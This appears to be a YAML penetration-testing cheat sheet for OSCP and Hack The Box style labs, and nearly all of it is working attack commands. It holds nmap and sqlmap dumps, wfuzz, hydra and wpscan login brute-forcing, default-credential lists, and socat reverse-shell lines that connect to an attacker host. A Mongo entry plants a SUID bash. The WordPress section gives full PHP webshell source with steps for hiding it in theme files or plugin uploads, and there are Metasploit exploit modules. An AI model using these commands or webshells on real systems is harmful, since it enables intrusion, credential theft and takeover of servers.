nmap --script=smb-brute.nse <targetip>
nmap -sV -p 445 --script smb-brute <targetiprange>
- description: openssl
cli: |
openssl req -x509 -newkey rsa:4096 -sha256 -nodes -keyout server.key -out server.crt -subj "/CN=root.kali.pwn" --days 7 ## create a new x509 certificate valid for 7 days
openssl req -new -key caca.key -out caca.csr ## create a new certificate signing request (csr)
openssl x509 -req -days 365 -in caca.csr -signkey caca.key -out pipi.crt ## generate new certificate
openssl pkcs12 -export -in pipi.crt -inkey caca.key -out pipi.p12 ## generate pkcs12 certificate
references:
- https://hipotermia.pw/htb/lacasadepapel
- description: searchsploit
cli: |
nmap service scan output -> searchsploit:
nmap -p- -sV -oX new.xml <attackerip>; searchsploit --nmap new.xml
- description: socat
cli: |
socat file:`tty`,raw,echo=0 tcp-listen:<attackerport>
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<attackerip>:<attackerport>
- description: sqlmap
cli: |
avoid prompts, use defaults:
sqlmap --batch
read http request from a text file (request captured from burp, useful for POST requests) and use it to start scan:
sqlmap -r searchform.txt --dbs --batch
sqlmap -r searchform.txt -D webapphacking --dump-all --batch
post requests:
sqlmap -u "http://example.com/" --data "a=1&b=2&c=3" -p "a,b" --method POST
intrusive scans:
sqlmap --level 5 --risk 3
list databses:
sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" --dbs
list tables within a database:
sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -D gallery --tables
dump a table:
sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -D gallery -T dev_accounts --dump
blind sql enumeration:
sqlmap -u "http://<targetip>:<targetport>/index.php" --forms --dbs
- description: steghide
cli: |
steghide extract -sf file.jpg
- description: unicornscan
cli: |
scan all 64k ports:
unicornscan -vmT <targetip>:a
scan first 1k ports:
unicornscan -vmT <targetip>:p
scan in udp mode:
unicornscan -vmU <targetip>
- description: wfuzz
cli: |
enumerate directories:
wfuzz -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt "http://127.0.0.1/index.php?vuln=../FUZZ/file1.php"
wfuzz -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt --sc 200 -t 50 http://<targetip>:<targetport>/FUZZ
wfuzz -w common.txt -w /usr/share/seclists/Discovery/Web-Content/web-mutations.txt --sc 200 -t 50 http://<targetip>:4488/FUZZ
enumerate directories and filter on response length:
wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hh 158607 http://bart.htb/FUZZ
bruteforce password:
bruteforce a single list:
wfuzz -w pwds.db -d "user=pinkadmin&pass=FUZZ&pin=FUZ2Z" -t 50 --hw 6 http://<targetip>:<targetport>/login.php
bruteforce multiple lists:
wfuzz -w pwds.db -w pins.txt -d "user=pinkadmin&pass=FUZZ&pin=FUZ2Z" -t 50 --hw 6 http://<targetip>:<targetport>/login.php
bruteforce multiple lists, but faster:
wfuzz -c -z file,./usernames.txt -z file,./pwds.db -d 'user=FUZZ&pass=FUZ2Z&pin=12345' --hh 45 http://<targetip>:<targetport>/login.php
wfuzz -c -z file,./pin.txt -d 'user=pinkadmin&pass=AaPinkSecaAdmin4467&pin=FUZZ' --hh 45,41 http://<targetip>:<targetport>/login.php
ttps:
enumerate:
enumerate_file_modified_time_window:
description: find files modified within a time window
cli: |
find / -newermt 2020-12-27 ! -newermt 2020-12-30 -type f 2>/def/null
references:
- https://www.tripwire.com/state-of-security/security-data-protection/passing-offensive-security-certified-professional-exam-oscp/
enumerate_nmap_initial:
description: run nmap initial scans
cli: |
sudo nmap -Pn -sC -sV -O -oN initial <attackerip>
references:
- https://medium.com/@ranakhalil101
- https://medium.com/@bondo.mike
- https://www.jibbsec.com/tags/oscplike/
- https://0xdf.gitlab.io/tags.html#oscp-like
enumerate_nmap_tcp:
description: run nmap full tcp scans
cli: |
nmap -Pn -sC -sV -p- --min-rate 10000 -oN tcp <attackerip>
references:
- https://medium.com/@ranakhalil101
- https://medium.com/@bondo.mike
- https://www.jibbsec.com/tags/oscplike/
- https://0xdf.gitlab.io/tags.html#oscp-like
enumerate_nmap_udp:
description: run nmap full udp scans
cli: |
nmap -Pn -sU -p- -oN udp <attackerip>
references:
- https://medium.com/@ranakhalil101
- https://medium.com/@bondo.mike
- https://www.jibbsec.com/tags/oscplike/
- https://0xdf.gitlab.io/tags.html#oscp-like
enumerate_app_apache:
description:
cli: |
use directory traversal to checkout the config file:
/usr/local/etc/apache22/httpd.conf
/etc/apache2/sites-enabled/000-default.conf
useful when certain config changes block enumeration
ports:
- 80/tcp
- 8080/tcp
- 443/tcp
references:
-
enumerate_app_apache_tomcat:
description:
cli: |
tomcat manager default creds:
tomcat:tomcat
admin:admin
admin:password
user:password
tomcat:s3cret
ports:
- 80/tcp
- 8080/tcp
- 443/tcp
references:
- https://0xrick.github.io/hack-the-box/jerry/
enumerate_app_coldfusion_files:
description: look for available sub directories and files on a coldfusion install
cli: |
dirb http://<targetip>:<targetport> /usr/share/dirb/wordlists/vulns/coldfusion.txt
ports:
- 80/tcp
- 8080/tcp
- 443/tcp
references:
- https://medium.com/@_C_3PJoe/htb-retired-box-write-up-arctic-50eccccc560
enumerate_app_coldfusion_version:
description: find out the coldfusion install version
cli: |
http://<targetip>:<targetport>/CFIDE/adminapi/base.cfc?wsdl
ports:
- 80/tcp
- 8080/tcp
- 443/tcp
references:
- http://www.carnal0wnage.com/papers/LARES-ColdFusion.pdf (pg42)
enumerate_app_drupal:
description:
cli: |
version:
http://<targetip>:<targetport>/CHANGELOG.txt
bruteforce:
ipaddr="<targetip>"; id=$(curl -s http://$ipaddr/user/ | grep "form_build_id" | cut -d"\"" -f6); hydra -L userlist.txt -P /usr/share/wordlists/rockyou.txt $site http-form-post "/?q=user/:name=^USER^&pass=^PASS^&form_id=user_login&form_build_id="$id":Sorry" -V
scan:
/opt/droopescan/droopescan scan drupal -u http://<targetip>
ports:
- 80/tcp
- 8080/tcp
- 443/tcp
references:
- https://zayotic.com/posts/oscp-reference/
enumerate_app_joomla:
description:
cli: |
joomscan --url http://<targetip>
ports:
- 80/tcp
- 8080/tcp
- 443/tcp
references:
- https://zayotic.com/posts/oscp-reference/
enumerate_app_mongo:
description:
cli: |
mongo -p -u mark scheduler => connects to mongodb as user mark and allows interaction with db scheduler
use scheduler => switch db
db.getCollectionNames() => list all collections/tables
db.tasks.find({}) => show all entries from collection/table
db.tasks.insert({"cmd": "cp /bin/bash /tmp/bash; chmod u+s /tmp/bash;"}) => insert a new entry within table tasks
ports:
- 27017/tcp
- 28017/tcp
references:
-
enumerate_app_nodejs:
description:
cli: |
check source and look at the js files to find interesting links/apis
use burp to spider and create a sitemap of the website
find app.js and look for db credentials (sql/mongo)
try ssh using db credentials
ports:
-
references:
-
enumerate_app_pfsense:
description:
cli: |
default credentials: admin/pfsense
ports:
-
references:
-
enumerate_app_phpmyadmin:
description:
cli: |
default credentials:
admin/
admin/admin
root/root
root/password
root/mysql
ports:
- 80/tcp
- 8080/tcp
- 443/tcp
references:
-
enumerate_app_powershell_history:
description: For certain accounts (like `sql_svc`) that are both user and service accounts, we can look at the user's PowerShell history and find interesting information.
cli: |
type C:\Users\<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
ports:
- 139/tcp
- 445/tcp
references:
-
enumerate_app_prtg:
description:
cli: |
default credentials:
prtgadmin/prtgadmin
configuration and backup files (accessed via an open ftp/smb):
c:\programdata\paessler\Configuration.dat
c:\programdata\paessler\Configuration.old
ports:
- 80/tcp
- 8080/tcp
- 443/tcp
references:
-
enumerate_app_unrealirc:
description:
cli: |
msfconsole
use exploit/unix/irc/unreal_ircd_3281_backdoor
set rhost <targetip>
set rport <targetport>
exploit
ports:
- 6660/tcp
- 6661/tcp
- 6662/tcp
- 6663/tcp
- 6664/tcp
- 6665/tcp
- 6666/tcp
- 6667/tcp
- 6668/tcp
- 6669/tcp
- 7000/tcp
references:
- https://snowscan.io/htb-writeup-irked/
enumerate_app_webmin:
description:
cli: |
view any file - even root owned, run perl cgi scripts
msf: auxiliary/admin/webmin/file_disclosure
can view /etc/ldap.secret file that might give credentials
can be used to run a perl cgi script (uploaded via some other means) to gain root reverse shell
download shadow file and try cracking hashes
download ssh authorized_keys for users (names obtained from shadow file), use edb:5720 and "ssh -i"
ports:
- 80/tcp
- 8080/tcp
- 443/tcp
references:
-
enumerate_app_wordpress:
description:
cli: |
default creds: admin/password
look for phpmyadmin, plugins directories
look for wp-config.php file (via an open smb/ftp share) => contains db creds, useful for phpmyadmin and ssh
enumerate authors:
http://192.168.92.167:<targetport>/?author=1 => will show username as "AUTHOR ARCHIVES: <username>"
http://192.168.92.167:<targetport>/?author=2 => will not show username if author id is invalid
wpuser http://192.168.92.134/ usernames
wpscan --url http://192.168.92.134:80/ -e vp,vt,tt,cb,dbe,u,m
bruteforce wordpress login:
wpscan --url http://192.168.92.134 -P fsocity.dic.trimmed -U elliot
wpscan --url http://192.168.92.169/backup_wordpress/ -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -U admin,john
wpscan --disable-tls-checks --url https://192.168.92.165:12380/blogblog/ -P $HOME/toolbox/vulnhub/mrrobot1/pass.list -U elliot
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.92.169 http-post-form "/backup_wordpress/wp-login.php:log=admin&pwd=^PASS^:ERROR"
wordpress to shell:
#1 add webshell via /wp-admin/theme-editor.php?file=404.php
a. "Appearance" -> "Editor"
b. select "404 Template" (404.php)
c. add php backdoor before the `<?php get_footer(); ?>` line and click "Update File"
d. example php backdoor: /usr/share/webshells/php/php-reverse-shell.php
e. run local netcat listener
f. visit a non-existing page: http://192.168.92.191/wordpress/?p=<attackerport>99
#2 add webshell @ /wp-admin/
a. "Appearance" -> "Editor"
b. select "Theme Footer" (footer.php)
c. add php backdoor at the end of file and click "Update File"
d. example php backdoor:
<!-- Inpired by DK's Simple PHP backdoor (http://michaeldaw.org) -->
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
exec($cmd, $results);
foreach( $results as $r )
{
echo $r."<br/>";
}
echo "</pre>";
die;
}
?>
/*Usage: http://domain/path?cmd=cat+/etc/passwd*/
e. visit http://192.168.92.169/backup_wordpress/?cmd=cat%20/etc/passwd to run commands
f. result will be concatenated to the end of the page
#3 add webshell via media file @ /wp-admin/plugin-install.php
a. "Upload plugin" -> "Browse"
b. example php backdoor:
<!-- Inpired by DK's Simple PHP backdoor (http://michaeldaw.org) -->
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
exec($cmd, $results);
foreach( $results as $r )
{
echo $r."<br/>";
}
echo "</pre>";
die;
}
?>
/*Usage: http://domain/path?cmd=cat+/etc/passwd*/
c. plugin install might fail, but php file will be uploaded as a media file
d. visit http://192.168.92.169/backup_wordpress/wp-admin/upload.php to confirm file upload
e. use http://192.168.92.169/backup_wordpress/wp-content/uploads/<year>/<monthid>/<filename>.php?cmd=cat%20/etc/passwd to run commands
#4 metasploit:
msf> use exploit/unix/webapp/wp_admin_shell_upload
msf exploit(unix/webapp/wp_admin_shell_upload) > set rhost 192.168.92.169
msf exploit(unix/webapp/wp_admin_shell_upload) > set targeturi /backup-wordpress
msf exploit(unix/webapp/wp_admin_shell_upload) > set username john
msf exploit(unix/webapp/wp_admin_shell_upload) > set password enigma
msf exploit(unix/webapp/wp_admin_shell_upload) > exploit
extract hashes from wp mysql db and crack via john:
select concat_ws(':', user_login, user_pass) from wp_users;
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.wp
ports:
- 80/tcp
- 8080/tcp
- 443/tcp
references:
-
enumerate_proto_distcc:
description:
cli: |
msf: exploit/unix/misc/distcc_exec
ports:
- 3232/tcp
references:
-
enumerate_proto_dns:
description:
cli: |
reverse lookup to find all hostnames associated with an ip:
dig +noall +answer -x <ipaddress> @<dnsserver>
dns enumeration:
dnsenum -o outputfile -f /usr/share/dnsrecon/namelist.txt -o outputfile domain
bruteforce:
nmap -p 80 --script dns-brute.nse <domain.name>
python dnscan.py -d <domain.name> -w ./subdomains-10000.txt
zone transfer:
dig axfr @<dnsserver> <domain.name>
host -t axfr <domain.name> <dnsserver>
host -l <domain.name> <dnsserver>
ports:
- 53/tcp
- 53/udp
references:
-
enumerate_proto_finger:
description:
cli: |
finger username@<targetip>
ports:
- 79/tcp
references:
-
enumerate_proto_ftp:
description: check if version is vulnerable and exploit is available. check if anonymous access is enabled. check if read permission for sensitive files. check if write permission within webroot/uploads or other critical directories. check if ftp root directory is also http root directory and upload php reverse shell. remember - binary and ascii transfer mode switch
cli: |
ftp passive mode:
ftp -p 192.168.92.192
bruteforce ftp login:
use auxiliary/scanner/ftp/ftp_login
misc: